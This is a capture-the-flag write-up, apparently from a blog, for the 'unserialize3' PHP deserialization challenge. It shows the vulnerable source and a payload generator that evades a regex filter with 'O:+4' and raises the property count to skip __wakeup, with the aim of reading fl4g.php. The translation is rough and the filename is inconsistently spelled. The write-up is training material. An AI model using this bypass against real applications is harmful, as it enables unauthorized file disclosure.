当前位置:网站首页>Solution to the problem of unserialize3 in the advanced web area of the attack and defense world
Solution to the problem of unserialize3 in the advanced web area of the attack and defense world
2022-07-08 00:16:00 【B_ secretary】
<?php
class Demo {
private $file = 'index.php';
// Constructors , Call automatically when the variable is created ,__ Means magic method , When the conditions are met, it will automatically call
public function __construct($file) {
$this->file = $file;
//“->” stay PHP Equivalent to Python Of “.”, Methods used to call objects
}
// Destructor , Call automatically when the variable is destroyed
function __destruct() {
echo @highlight_file($this->file, true);
}
// Print file The content in , Show the document to the reader
/* highlight_file(filename,return) Function to highlight the syntax of the file , If return Parameter is set to true, Then the function will return the highlighted code , Instead of outputting them .
The whole code means that when the file is destroyed, it will output $file Code for .at Symbol (@) stay PHP Used as an error control operator in . When the expression is attached @ The symbol , Error messages that may be generated by this expression will be ignored .*/
// It will be called automatically when deserializing
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
// Change the file name to “index.php”
}
}
if (isset($_GET['var'])) {
/* Judgment variable var Is it created , Checks whether the variable is set and not NULL, This code is to detect whether it is passed get Requested var Variable */
$var = base64_decode($_GET['var']);
// take var Explain base64 code
if (preg_match('/[oc]:\d+:/i', $var)) {
// matching var Whether there is a string in
die('stop hacking!');
} else {
@unserialize($var);
// Deserialization var, This will call wakeup function
}
} else {
highlight_file("index.php");
// Highlight index.php, This is not the result we want
}
?>
The topic source code tells us flag stay f14g.php in , So we want to enter this file , that payload Need to meet :
1、 It doesn't contain preg_match Or directly bypass preg_match function
2、 Deserialization bypasses wakeup function
So we use serialization to construct a var Pass in , Let variable value be equal to f14g.php, When the variable is destroyed, it will be displayed by the destructor f14g.php
structure payload Code :
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
$this->file = 'index.php';
}
}
}
$payload = new Demo('fl4g.php');// Create objects Demo, Its file The value is f14g.php
$payload = serialize($payload);// Serialization operation
$payload = str_replace('O:4', 'O:+4',$payload);
// Will be one of the “0:4” Switch to “0:+4” So as to bypass the regularities
$payload = str_replace(':1:', ':2:' ,$payload);
// Number of objects in serialization “1” Change it to “2”, To bypass the wakeup function ( If the value of the number of objects recorded in the serialization is larger than the real number of objects, you can bypass wakeup)
// Nonprintable white space in serialization is equivalent to %00, It needs to be in payload Medium plus
echo base64_encode($payload); // For parameters base64 Code and print out
?>
边栏推荐
猜你喜欢
QT creator add JSON based Wizard
某马旅游网站开发(登录注册退出功能的实现)
[path planning] use the vertical distance limit method and Bessel to optimize the path of a star
Binary sort tree [BST] - create, find, delete, output
【编程题】【Scratch二级】2019.03 垃圾分类
STM32F1与STM32CubeIDE编程实例-旋转编码器驱动
SQL knowledge summary 004: Postgres terminal command summary
ROS从入门到精通(九) 可视化仿真初体验之TurtleBot3
【編程題】【Scratch二級】2019.12 飛翔的小鳥
[programming questions] [scratch Level 2] March 2019 garbage classification
随机推荐
Automated testing: robot framework is a practical skill that 90% of people want to know
Problems faced when connecting to sqlserver after downloading (I)
Smart regulation enters the market, where will meituan and other Internet service platforms go
ROS从入门到精通(九) 可视化仿真初体验之TurtleBot3
Single machine high concurrency model design
Database query - what is the highest data?
PostGIS learning
C language 001: download, install, create the first C project and execute the first C language program of CodeBlocks
Open display PDF file in web page
Jouer sonar
3年经验,面试测试岗20K都拿不到了吗?这么坑?
Notice on organizing the second round of the Southwest Division (Sichuan) of the 2021-2022 National Youth electronic information intelligent innovation competition
[leetcode] 20. Valid brackets
Ping error: unknown name or service
Redis caching tool class, worth owning~
51与蓝牙模块通讯,51驱动蓝牙APP点灯
哪个券商公司开户佣金低又安全,又靠谱
用语雀写文章了,功能真心强大!
Scrapy framework
2022-07-07:原本数组中都是大于0、小于等于k的数字,是一个单调不减的数组, 其中可能有相等的数字,总体趋势是递增的。 但是其中有些位置的数被替换成了0,我们需要求出所有的把0替换的方案数量: